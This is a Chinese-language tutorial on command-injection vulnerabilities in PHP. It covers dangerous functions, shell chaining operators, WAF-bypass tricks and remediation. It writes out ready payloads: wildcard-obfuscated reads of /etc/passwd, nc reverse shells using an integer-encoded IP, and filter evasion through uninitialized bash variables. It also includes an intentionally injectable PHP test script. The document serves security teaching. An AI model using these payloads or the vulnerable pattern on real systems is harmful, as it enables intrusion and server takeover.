命令执行漏洞原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
命令执行漏洞利用条件:
- 应用调用执行系统命令的函数
- 将用户输入作为系统命令的参数拼接到了命令行中
- 没有对用户输入进行过滤或过滤不严
漏洞分类:
- 代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system("/bin/program --arg $arg");
- 系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)
- 调用的第三方组件存在代码执行漏洞
如wordPress中用来处理图片的imageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
漏洞危害:
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至服务器
- 进一步内网渗透
- 等等
命令拼接符
|、||、&、&&的区别:
&:无论左边是false还是true,右边都执行
&&:具有短路效果,左边是false,右边不执行。
|:无论左边是false还是true,右边都会执行
||:具有短路效果,左边是true,右边不执行。
代码执行:
利用系统函数实现命令执行,在php下,允许命令执行的函数有:
eval()、assert()、preg_replace()、call_user_func()
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞
其他函数
ob_start()、unserialize()、creat_function()
、usort()、uasort()、uksort()、
array_filter()、
array_reduce()、
array_map()......
系统命令执行漏洞
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引号
......
命令执行WAF绕过技巧
技巧一:通配符
ls-l
使用通配符
/?in/?s-l
/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat/?tc/p?sswd
NC反弹shell:
nc -e /bin/bash 127.0.0.1 3737
为了避免符号,可以将IP地址转换成整型。
127.0.0.1->2130706433
使用通配符
root@kali:~#/??n/?c -e/??n/b??h 2130706433 3737
技巧二:连接符
技巧三:未初始化的bash变量
在bash环境中允许我们使用未初始化的bash变量,如何
$a ,$b,$c
我们事先并没有定义它们,输出看看:
root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#
未初始化的变量值都是null
读取/etc/passwd:
cat$a /etc$a/passwd$a
测试WAF
测试代码:
<?php
echo "OK";
system('dig'.$_GET['host']);
?>
www.baidu.com;$s/bin$s/which$s nc$s
反弹shell:
/bin$s/nc$s -e/bin$s/bash$s 2130706433 3737
漏洞修复:
- 尽量少用执行命令的函数或者直接禁用
- 参数值尽量使用引号包括
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
- 对PHP语言来说,不能完全控制的危险函数最好不要使用